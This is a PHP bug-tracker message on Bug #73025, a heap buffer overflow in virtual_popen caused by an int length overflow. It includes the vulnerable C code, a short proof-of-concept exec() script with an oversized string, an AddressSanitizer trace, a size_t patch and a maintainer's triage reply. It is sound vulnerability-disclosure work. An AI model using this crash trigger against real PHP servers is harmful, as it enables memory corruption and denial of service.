Bug #73025 [Opn->Ana]: Heap Buffer Overflow in virtual_popen of zend_virtual_cwd.c
| From: | cmb@php.net | Date: | Tue, 06 Sep 2016 09:52:29 +0000 |
| Subject: | Bug #73025 [Opn->Ana]: Heap Buffer Overflow in virtual_popen of zend_virtual_cwd.c | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-203829@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=73025&edit=1
ID: 73025
Updated by: cmb@php.net
Reported by: stackexploit at gmail dot com
Summary: Heap Buffer Overflow in virtual_popen of
zend_virtual_cwd.c
-Status: Open
+Status: Analyzed
Type: Bug
-Package: Filesystem function related
+Package: Program Execution
Operating System: Ubuntu
PHP Version: master-Git-2016-09-06 (snap)
-Assigned To:
+Assigned To: cmb
Block user comment: N
Private report: N
New Comment:
> Why do you consider it's not a security bug?
Because it is "unlikely" that a programmer tries to exec()ute such
a long command; and if the programmer passes unvalidated input to
exec(), there are far more severe issues than a buffer overflow.
So, either way, this would be a programmer error.
Anyhow, thanks for reporting this issue and the thorough analysis!
Previous Comments:
------------------------------------------------------------------------
[2016-09-06 04:50:41] stackexploit at gmail dot com
Why do you consider it's not a security bug?
------------------------------------------------------------------------
[2016-09-06 03:55:25] stackexploit at gmail dot com
Description:
------------
PHP VERSION
-----------------------
worker@ubuntu:~/Desktop/repo/php-src$ ./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep 5 2016 20:18:09) ( ZTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.
CONFIGURE LINE
-----------------------
./configure --enable-maintainer-zts --enable-static --enable-cli --disable-shared --disable-all
OTHER INFORMATION
-----------------------
The proof-of-concept file I supplied may consume lots of memory and time. To reproduce this issue
more quickly, please run the command "export USE_ZEND_ALLOC=0" in terminal to disable ZEND
heap management.
STACKTRACE
-----------------------
Posted in the "Actual result" section.
VULNERABILITY DETAILS
-----------------------
The vulnerability exists in function virtual_popen of file zend_virtual_cwd.c. When we supply a
super long command to this function, the value of variable command_length can be negative. Thus a
small heap buffer will be returned by function emalloc. It will lead to heap buffer overflow when
manipulating the heap buffer.
Function virtual_popen is reachable via PHP_FUNCTION exec, system, passthru, shell_exec, etc.
CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
int command_length; // type is int (not size_t)
int dir_length, extra = 0;
char *command_line;
char *ptr, *dir;
FILE *retval;
command_length = strlen(command); // 0xfffffff0
dir_length = CWDG(cwd).cwd_length;
dir = CWDG(cwd).cwd;
while (dir_length > 0) {
if (*dir == '\'') extra+=3;
dir++;
dir_length--;
}
dir_length = CWDG(cwd).cwd_length;
dir = CWDG(cwd).cwd;
// --------> small heap buffer will be returned here
ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") +
dir_length + extra+1+1);
if (!command_line) {
return NULL;
}
/* ... */
}
SIMPLE PATCH
-----------------------
Use type size_t instead of type int.
int command_length; --------> size_t command_length;
CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.
Test script:
---------------
<?php
ini_set('memory_limit', -1);
$cmd = str_repeat("/", 0xfffffff0);
echo exec($cmd);
?>
Expected result:
----------------
Exit quietly.
Actual result:
--------------
==89629== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60060002945c at pc 0xc636d9 bp
0x7ffe93f986c0 sp 0x7ffe93f986b8
WRITE of size 1 at 0x60060002945c thread T0
#0 0xc636d8 in virtual_popen php-src/Zend/zend_virtual_cwd.c:1965
#1 0x744a57 in php_exec php-src/ext/standard/exec.c:113
#2 0x74593e in php_exec_ex php-src/ext/standard/exec.c:231
#3 0x745dae in zif_exec php-src/ext/standard/exec.c:250
#4 0xd095d5 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675
#5 0xd029a1 in execute_ex php-src/Zend/zend_vm_execute.h:429
#6 0xd04545 in zend_execute php-src/Zend/zend_vm_execute.h:474
#7 0xb49477 in zend_execute_scripts php-src/Zend/zend.c:1464
#8 0x8f650d in php_execute_script php-src/main/main.c:2537
#9 0x1007883 in do_cli php-src/sapi/cli/php_cli.c:990
#10 0x100aaca in main php-src/sapi/cli/php_cli.c:1378
#11 0x7f6231dc2f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
#12 0x41ae68 in _start (php-src/sapi/cli/php+0x41ae68)
0x60060002945c is located 0 bytes to the right of 28-byte region [0x600600029440,0x60060002945c)
allocated by thread T0 here:
#0 0x7f6232abe41a in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.0+0x1541a)
#1 0xa762d0 in _emalloc php-src/Zend/zend_alloc.c:2402
#2 0xc63305 in virtual_popen php-src/Zend/zend_virtual_cwd.c:1946
#3 0x744a57 in php_exec php-src/ext/standard/exec.c:113
#4 0x74593e in php_exec_ex php-src/ext/standard/exec.c:231
#5 0x745dae in zif_exec php-src/ext/standard/exec.c:250
#6 0xd095d5 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675
#7 0xd029a1 in execute_ex php-src/Zend/zend_vm_execute.h:429
#8 0xd04545 in zend_execute php-src/Zend/zend_vm_execute.h:474
#9 0xb49477 in zend_execute_scripts php-src/Zend/zend.c:1464
#10 0x8f650d in php_execute_script php-src/main/main.c:2537
#11 0x1007883 in do_cli php-src/sapi/cli/php_cli.c:990
#12 0x100aaca in main php-src/sapi/cli/php_cli.c:1378
#13 0x7f6231dc2f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
SUMMARY: AddressSanitizer: heap-buffer-overflow php-src/Zend/zend_virtual_cwd.c:1965 virtual_popen
Shadow bytes around the buggy address:
0x0c013fffd230: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c013fffd240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c013fffd250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c013fffd260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c013fffd270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c013fffd280: fa fa fa fa fa fa fa fa 00 00 00[04]fa fa fd fd
0x0c013fffd290: fd fd fa fa 00 00 00 00 fa fa 00 00 00 fa fa fa
0x0c013fffd2a0: fd fd fd fd fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c013fffd2b0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c013fffd2c0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c013fffd2d0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap righ redzone: fb
Freed Heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==89629== ABORTING
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=73025&edit=1